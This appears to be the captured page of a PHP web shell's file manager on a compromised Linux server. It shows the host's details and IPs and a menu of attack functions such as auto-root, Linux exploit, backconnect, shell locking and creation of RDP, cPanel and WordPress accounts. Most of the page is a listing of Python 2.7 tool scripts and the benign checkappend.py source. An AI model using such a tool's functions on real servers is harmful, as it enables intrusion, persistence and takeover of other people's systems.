Linux server.ldran.com 4.18.0-513.18.1.el8_9.x86_64 #1 SMP Thu Feb 22 03:02:37 EST 2024 x86_64
Apache
: 178.128.81.129 | : 162.158.163.102
254 Domain
8.1.29
materijurusanac
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
Tools /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
analyze_dxp.py
4.11
KB
-rwxr-xr-x
analyze_dxp.pyc
4.64
KB
-rw-r--r--
analyze_dxp.pyo
4.64
KB
-rw-r--r--
byext.py
3.85
KB
-rwxr-xr-x
byext.pyc
4.42
KB
-rw-r--r--
byext.pyo
4.42
KB
-rw-r--r--
byteyears.py
1.6
KB
-rwxr-xr-x
byteyears.pyc
1.37
KB
-rw-r--r--
byteyears.pyo
1.37
KB
-rw-r--r--
checkappend.py
4.55
KB
-rwxr-xr-x
checkappend.pyc
4.77
KB
-rw-r--r--
checkappend.pyo
4.77
KB
-rw-r--r--
checkpip.py
757
B
-rwxr-xr-x
checkpip.pyc
1.02
KB
-rw-r--r--
checkpip.pyo
1.02
KB
-rw-r--r--
checkpyc.py
1.96
KB
-rwxr-xr-x
checkpyc.pyc
1.93
KB
-rw-r--r--
checkpyc.pyo
1.93
KB
-rw-r--r--
classfix.py
5.81
KB
-rwxr-xr-x
classfix.pyc
4.09
KB
-rw-r--r--
classfix.pyo
4.09
KB
-rw-r--r--
cleanfuture.py
8.38
KB
-rwxr-xr-x
cleanfuture.pyc
7.22
KB
-rw-r--r--
cleanfuture.pyo
7.19
KB
-rw-r--r--
combinerefs.py
4.28
KB
-rwxr-xr-x
combinerefs.pyc
4.16
KB
-rw-r--r--
combinerefs.pyo
4.12
KB
-rw-r--r--
copytime.py
663
B
-rwxr-xr-x
copytime.pyc
937
B
-rw-r--r--
copytime.pyo
937
B
-rw-r--r--
crlf.py
610
B
-rwxr-xr-x
crlf.pyc
855
B
-rw-r--r--
crlf.pyo
855
B
-rw-r--r--
cvsfiles.py
1.74
KB
-rwxr-xr-x
cvsfiles.pyc
2.11
KB
-rw-r--r--
cvsfiles.pyo
2.11
KB
-rw-r--r--
db2pickle.py
3.49
KB
-rwxr-xr-x
db2pickle.pyc
3.42
KB
-rw-r--r--
db2pickle.pyo
3.42
KB
-rw-r--r--
diff.py
2.02
KB
-rwxr-xr-x
diff.pyc
2.33
KB
-rw-r--r--
diff.pyo
2.33
KB
-rw-r--r--
dutree.py
1.58
KB
-rwxr-xr-x
dutree.pyc
2.18
KB
-rw-r--r--
dutree.pyo
2.18
KB
-rw-r--r--
eptags.py
1.45
KB
-rwxr-xr-x
eptags.pyc
1.83
KB
-rw-r--r--
eptags.pyo
1.83
KB
-rw-r--r--
find_recursionlimit.py
3.39
KB
-rwxr-xr-x
find_recursionlimit.pyc
5.54
KB
-rw-r--r--
find_recursionlimit.pyo
5.54
KB
-rw-r--r--
finddiv.py
2.46
KB
-rwxr-xr-x
finddiv.pyc
3.22
KB
-rw-r--r--
finddiv.pyo
3.22
KB
-rw-r--r--
findlinksto.py
1.04
KB
-rwxr-xr-x
findlinksto.pyc
1.39
KB
-rw-r--r--
findlinksto.pyo
1.39
KB
-rw-r--r--
findnocoding.py
2.74
KB
-rwxr-xr-x
findnocoding.pyc
3.13
KB
-rw-r--r--
findnocoding.pyo
3.13
KB
-rw-r--r--
fixcid.py
9.76
KB
-rwxr-xr-x
fixcid.pyc
7.67
KB
-rw-r--r--
fixcid.pyo
7.67
KB
-rw-r--r--
fixdiv.py
13.52
KB
-rwxr-xr-x
fixdiv.pyc
13.52
KB
-rw-r--r--
fixdiv.pyo
13.44
KB
-rw-r--r--
fixheader.py
1.16
KB
-rwxr-xr-x
fixheader.pyc
1.44
KB
-rw-r--r--
fixheader.pyo
1.44
KB
-rw-r--r--
fixnotice.py
2.98
KB
-rwxr-xr-x
fixnotice.pyc
3.42
KB
-rw-r--r--
fixnotice.pyo
3.42
KB
-rw-r--r--
fixps.py
893
B
-rwxr-xr-x
fixps.pyc
969
B
-rw-r--r--
fixps.pyo
969
B
-rw-r--r--
google.py
519
B
-rwxr-xr-x
google.pyc
792
B
-rw-r--r--
google.pyo
792
B
-rw-r--r--
gprof2html.py
2.12
KB
-rwxr-xr-x
gprof2html.pyc
2.22
KB
-rw-r--r--
gprof2html.pyo
2.22
KB
-rw-r--r--
h2py.py
5.81
KB
-rwxr-xr-x
h2py.pyc
4.29
KB
-rw-r--r--
h2py.pyo
4.29
KB
-rw-r--r--
hotshotmain.py
1.45
KB
-rwxr-xr-x
hotshotmain.pyc
1.82
KB
-rw-r--r--
hotshotmain.pyo
1.82
KB
-rw-r--r--
ifdef.py
3.63
KB
-rwxr-xr-x
ifdef.pyc
2.21
KB
-rw-r--r--
ifdef.pyo
2.21
KB
-rw-r--r--
lfcr.py
618
B
-rwxr-xr-x
lfcr.pyc
880
B
-rw-r--r--
lfcr.pyo
880
B
-rw-r--r--
linktree.py
2.37
KB
-rwxr-xr-x
linktree.pyc
1.98
KB
-rw-r--r--
linktree.pyo
1.98
KB
-rw-r--r--
lll.py
742
B
-rwxr-xr-x
lll.pyc
942
B
-rw-r--r--
lll.pyo
942
B
-rw-r--r--
logmerge.py
5.44
KB
-rwxr-xr-x
logmerge.pyc
4.96
KB
-rw-r--r--
logmerge.pyo
4.96
KB
-rw-r--r--
mailerdaemon.py
7.76
KB
-rwxr-xr-x
mailerdaemon.pyc
7.19
KB
-rw-r--r--
mailerdaemon.pyo
7.19
KB
-rw-r--r--
md5sum.py
2.33
KB
-rwxr-xr-x
md5sum.pyc
2.85
KB
-rw-r--r--
md5sum.pyo
2.85
KB
-rw-r--r--
methfix.py
5.33
KB
-rwxr-xr-x
methfix.pyc
4.03
KB
-rw-r--r--
methfix.pyo
4.03
KB
-rw-r--r--
mkreal.py
1.59
KB
-rwxr-xr-x
mkreal.pyc
1.93
KB
-rw-r--r--
mkreal.pyo
1.93
KB
-rw-r--r--
ndiff.py
3.72
KB
-rwxr-xr-x
ndiff.pyc
3.77
KB
-rw-r--r--
ndiff.pyo
3.77
KB
-rw-r--r--
nm2def.py
2.39
KB
-rwxr-xr-x
nm2def.pyc
2.89
KB
-rw-r--r--
nm2def.pyo
2.89
KB
-rw-r--r--
objgraph.py
5.88
KB
-rwxr-xr-x
objgraph.pyc
4.82
KB
-rw-r--r--
objgraph.pyo
4.82
KB
-rw-r--r--
parseentities.py
1.68
KB
-rwxr-xr-x
parseentities.pyc
2.03
KB
-rw-r--r--
parseentities.pyo
2.03
KB
-rw-r--r--
patchcheck.py
7.5
KB
-rwxr-xr-x
patchcheck.pyc
8.91
KB
-rw-r--r--
patchcheck.pyo
8.91
KB
-rw-r--r--
pathfix.py
4.23
KB
-rwxr-xr-x
pathfix.pyc
3.75
KB
-rw-r--r--
pathfix.pyo
3.75
KB
-rw-r--r--
pdeps.py
3.84
KB
-rwxr-xr-x
pdeps.pyc
3.14
KB
-rw-r--r--
pdeps.pyo
3.14
KB
-rw-r--r--
pickle2db.py
3.85
KB
-rwxr-xr-x
pickle2db.pyc
3.73
KB
-rw-r--r--
pickle2db.pyo
3.73
KB
-rw-r--r--
pindent.py
16.77
KB
-rwxr-xr-x
pindent.pyc
11.29
KB
-rw-r--r--
pindent.pyo
11.29
KB
-rw-r--r--
ptags.py
1.2
KB
-rwxr-xr-x
ptags.pyc
1.37
KB
-rw-r--r--
ptags.pyo
1.37
KB
-rw-r--r--
pysource.py
3.76
KB
-rwxr-xr-x
pysource.pyc
3.92
KB
-rw-r--r--
pysource.pyo
3.92
KB
-rw-r--r--
redemo.py
5.66
KB
-rwxr-xr-x
redemo.pyc
5.13
KB
-rw-r--r--
redemo.pyo
5.13
KB
-rw-r--r--
reindent-rst.py
278
B
-rwxr-xr-x
reindent-rst.pyc
481
B
-rw-r--r--
reindent-rst.pyo
481
B
-rw-r--r--
reindent.py
11.15
KB
-rwxr-xr-x
reindent.pyc
9.4
KB
-rw-r--r--
reindent.pyo
9.37
KB
-rw-r--r--
rgrep.py
1.46
KB
-rwxr-xr-x
rgrep.pyc
1.84
KB
-rw-r--r--
rgrep.pyo
1.84
KB
-rw-r--r--
serve.py
1.12
KB
-rwxr-xr-x
serve.pyc
1.56
KB
-rw-r--r--
serve.pyo
1.56
KB
-rw-r--r--
setup.py
421
B
-rw-r--r--
setup.pyc
548
B
-rw-r--r--
setup.pyo
548
B
-rw-r--r--
suff.py
621
B
-rwxr-xr-x
suff.pyc
904
B
-rw-r--r--
suff.pyo
904
B
-rw-r--r--
svneol.py
2.86
KB
-rwxr-xr-x
svneol.pyc
2.84
KB
-rw-r--r--
svneol.pyo
2.76
KB
-rw-r--r--
texcheck.py
9.04
KB
-rw-r--r--
texcheck.pyc
8.18
KB
-rw-r--r--
texcheck.pyo
8.18
KB
-rw-r--r--
texi2html.py
68.19
KB
-rwxr-xr-x
texi2html.pyc
81.37
KB
-rw-r--r--
texi2html.pyo
81.37
KB
-rw-r--r--
treesync.py
5.65
KB
-rwxr-xr-x
treesync.pyc
5.85
KB
-rw-r--r--
treesync.pyo
5.85
KB
-rw-r--r--
untabify.py
1.19
KB
-rwxr-xr-x
untabify.pyc
1.55
KB
-rw-r--r--
untabify.pyo
1.55
KB
-rw-r--r--
which.py
1.59
KB
-rwxr-xr-x
which.pyc
1.59
KB
-rw-r--r--
which.pyo
1.59
KB
-rw-r--r--
win_add2path.py
1.58
KB
-rw-r--r--
win_add2path.pyc
2.02
KB
-rw-r--r--
win_add2path.pyo
2.02
KB
-rw-r--r--
xxci.py
2.73
KB
-rwxr-xr-x
xxci.pyc
3.92
KB
-rw-r--r--
xxci.pyo
3.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : checkappend.py
#! /usr/bin/python2.7 # Released to the public domain, by Tim Peters, 28 February 2000. """checkappend.py -- search for multi-argument .append() calls. Usage: specify one or more file or directory paths: checkappend [-v] file_or_dir [file_or_dir] ... Each file_or_dir is checked for multi-argument .append() calls. When a directory, all .py files in the directory, and recursively in its subdirectories, are checked. Use -v for status msgs. Use -vv for more status msgs. In the absence of -v, the only output is pairs of the form filename(linenumber): line containing the suspicious append Note that this finds multi-argument append calls regardless of whether they're attached to list objects. If a module defines a class with an append method that takes more than one argument, calls to that method will be listed. Note that this will not find multi-argument list.append calls made via a bound method object. For example, this is not caught: somelist = [] push = somelist.append push(1, 2, 3) """ __version__ = 1, 0, 0 import os import sys import getopt import tokenize verbose = 0 def errprint(*args): msg = ' '.join(args) sys.stderr.write(msg) sys.stderr.write("\n") def main(): args = sys.argv[1:] global verbose try: opts, args = getopt.getopt(sys.argv[1:], "v") except getopt.error, msg: errprint(str(msg) + "\n\n" + __doc__) return for opt, optarg in opts: if opt == '-v': verbose = verbose + 1 if not args: errprint(__doc__) return for arg in args: check(arg) def check(file): if os.path.isdir(file) and not os.path.islink(file): if verbose: print "%r: listing directory" % (file,) names = os.listdir(file) for name in names: fullname = os.path.join(file, name) if ((os.path.isdir(fullname) and not os.path.islink(fullname)) or os.path.normcase(name[-3:]) == ".py"): check(fullname) return try: f = open(file) except IOError, msg: errprint("%r: I/O Error: %s" % (file, msg)) return if verbose > 1: print "checking %r ..." % (file,) ok = AppendChecker(file, f).run() if verbose and ok: print "%r: Clean bill of health." % (file,) [FIND_DOT, FIND_APPEND, FIND_LPAREN, FIND_COMMA, FIND_STMT] = range(5) class AppendChecker: def __init__(self, fname, file): self.fname = fname self.file = file self.state = FIND_DOT self.nerrors = 0 def run(self): try: tokenize.tokenize(self.file.readline, self.tokeneater) except tokenize.TokenError, msg: errprint("%r: Token Error: %s" % (self.fname, msg)) self.nerrors = self.nerrors + 1 return self.nerrors == 0 def tokeneater(self, type, token, start, end, line, NEWLINE=tokenize.NEWLINE, JUNK=(tokenize.COMMENT, tokenize.NL), OP=tokenize.OP, NAME=tokenize.NAME): state = self.state if type in JUNK: pass elif state is FIND_DOT: if type is OP and token == ".": state = FIND_APPEND elif state is FIND_APPEND: if type is NAME and token == "append": self.line = line self.lineno = start[0] state = FIND_LPAREN else: state = FIND_DOT elif state is FIND_LPAREN: if type is OP and token == "(": self.level = 1 state = FIND_COMMA else: state = FIND_DOT elif state is FIND_COMMA: if type is OP: if token in ("(", "{", "["): self.level = self.level + 1 elif token in (")", "}", "]"): self.level = self.level - 1 if self.level == 0: state = FIND_DOT elif token == "," and self.level == 1: self.nerrors = self.nerrors + 1 print "%s(%d):\n%s" % (self.fname, self.lineno, self.line) # don't gripe about this stmt again state = FIND_STMT elif state is FIND_STMT: if type is NEWLINE: state = FIND_DOT else: raise SystemError("unknown internal state '%r'" % (state,)) self.state = state if __name__ == '__main__': main()
Close